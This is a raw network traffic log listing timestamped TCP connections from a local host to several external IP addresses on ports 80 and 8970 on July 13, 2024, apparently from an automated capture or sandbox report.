Jul 13, 2024 07:06:03.790925026 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.790940046 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.790961981 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.790977001 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791002989 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791004896 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791038036 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791040897 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791063070 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791093111 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791095018 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791126013 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791157007 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791158915 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791177988 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791196108 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791214943 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791254997 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791316986 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791352987 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791373968 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791387081 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.791405916 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.791434050 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817182064 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817204952 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817223072 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817351103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817352057 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817352057 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817529917 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817554951 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817570925 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817585945 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817594051 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817608118 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817622900 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817650080 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817666054 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817679882 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817696095 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817709923 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817718029 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817718029 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817718029 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817718983 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817718983 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817718983 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817728996 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817745924 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817759037 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817761898 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817780018 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817786932 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817800045 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817804098 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817826033 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817826033 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817847013 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817862034 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817863941 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817881107 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817899942 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817919016 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817935944 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817960978 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.817970991 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.817985058 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818005085 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818030119 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818061113 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818128109 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818162918 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818191051 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818198919 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818212986 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818237066 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818253994 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818272114 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.818295956 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.818348885 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825438023 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825481892 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825537920 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825573921 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825614929 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825614929 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825615883 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825627089 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825663090 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825696945 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825733900 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.825814962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825814962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825814962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825814962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.825814962 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826591015 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826642036 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826659918 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826678991 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826699018 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826713085 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826730967 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826751947 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826773882 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826788902 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.826805115 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.826845884 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.770736933 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.771359921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.776355028 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:04.776429892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.776715040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:04.776930094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.782187939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:04.789304018 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:05.517060041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:05.517158985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:05.523602009 CEST	49706	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:05.528595924 CEST	80	49706	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:05.529036045 CEST	49706	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:05.540261030 CEST	49706	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:05.546447992 CEST	80	49706	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:07.730217934 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:07.735671997 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:07.735867023 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:07.743110895 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:07.748142004 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:08.370290995 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:08.398513079 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:08.403743029 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:08.592535973 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:08.635679007 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:09.572240114 CEST	49706	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:13.646346092 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:13.652590990 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939318895 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939353943 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939371109 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939495087 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939511061 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.939534903 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:13.939621925 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:13.939914942 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.940074921 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:13.940140963 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:13.940167904 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.093379021 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.098751068 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.283359051 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.338829041 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.372472048 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.377602100 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.561830997 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.569740057 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.574790001 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.589772940 CEST	49721	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:14.597330093 CEST	80	49721	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:14.597455025 CEST	49721	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:14.597671032 CEST	49721	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:14.604593992 CEST	80	49721	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:14.764182091 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.768244982 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.773602009 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.957204103 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:14.963116884 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:14.969372034 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.161776066 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.213829041 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:15.236910105 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:15.241884947 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241902113 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241925001 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241936922 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241960049 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241971970 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.241985083 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:15.242007017 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.242019892 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.242031097 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.242075920 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.242088079 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.246953964 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.246978045 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.247087955 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.524303913 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:15.573295116 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.140007019 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.145304918 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.330962896 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.335494041 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.340688944 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.524252892 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.526854038 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.531945944 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.715605974 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.719259024 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.724287033 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.910264969 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:16.911869049 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:16.919975996 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.307401896 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.309741020 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:17.314764023 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.500607014 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.501648903 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:17.509881020 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.893603086 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:17.948190928 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:17.958523989 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:17.963367939 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.147495031 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.176887035 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:18.182054996 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.365638971 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.416944027 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:18.465650082 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:18.470742941 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.604567051 CEST	49721	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:18.660232067 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.665190935 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:18.670311928 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.670340061 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.670372963 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.670388937 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.670401096 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.670521975 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.863534927 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:18.864015102 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:18.868973017 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:19.054128885 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:19.054946899 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:19.059935093 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:19.244795084 CEST	8970	49710	185.172.128.33	192.168.2.5
Jul 13, 2024 07:06:19.274676085 CEST	49710	8970	192.168.2.5	185.172.128.33
Jul 13, 2024 07:06:23.631938934 CEST	58969	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:23.637082100 CEST	80	58969	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:23.637218952 CEST	58969	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:23.637501955 CEST	58969	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:23.642745018 CEST	80	58969	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:27.635835886 CEST	58969	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:32.653897047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:32.654118061 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:32.660166025 CEST	80	58973	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:32.660327911 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:32.660417080 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:32.660938978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:32.661125898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:32.665808916 CEST	80	58973	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:33.362234116 CEST	80	58973	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:33.362437963 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:33.363639116 CEST	58974	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:33.368746996 CEST	80	58974	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:33.368846893 CEST	58974	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:33.368908882 CEST	58974	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:33.374011993 CEST	80	58974	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:37.370425940 CEST	58974	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:42.389473915 CEST	58975	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:42.394687891 CEST	80	58975	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:42.394833088 CEST	58975	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:42.395057917 CEST	58975	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:42.401480913 CEST	80	58975	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:46.401567936 CEST	58975	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:51.420105934 CEST	58976	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:51.425674915 CEST	80	58976	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:51.425816059 CEST	58976	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:51.425934076 CEST	58976	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:06:51.431246996 CEST	80	58976	185.216.214.217	192.168.2.5
Jul 13, 2024 07:06:55.432907104 CEST	58976	80	192.168.2.5	185.216.214.217
Jul 13, 2024 07:07:00.451294899 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:00.451421976 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:00.456587076 CEST	80	58978	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:00.456660986 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:00.456748009 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:00.456895113 CEST	80	58973	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:00.456954956 CEST	58973	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:00.461872101 CEST	80	58978	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:01.157881975 CEST	80	58978	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:01.158122063 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:01.161791086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.166755915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.167016029 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.167506933 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.168003082 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:01.172641993 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.173535109 CEST	80	58978	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:01.173593998 CEST	58978	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:01.858057976 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858108997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858148098 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858181953 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858216047 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858236074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858236074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858236074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858236074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858248949 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858283997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858289003 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858289003 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858316898 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858350992 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858366013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858366013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.858387947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.858594894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.863636017 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.863723040 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.863929987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.863929987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.945415974 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.945655107 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.945718050 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.945718050 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982475996 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982546091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982624054 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982661009 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982692957 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982696056 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982711077 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982732058 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982804060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982804060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.982822895 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982908010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982939959 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982973099 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.982999086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.983160973 CEST	58979	80	192.168.2.5	77.232.41.110
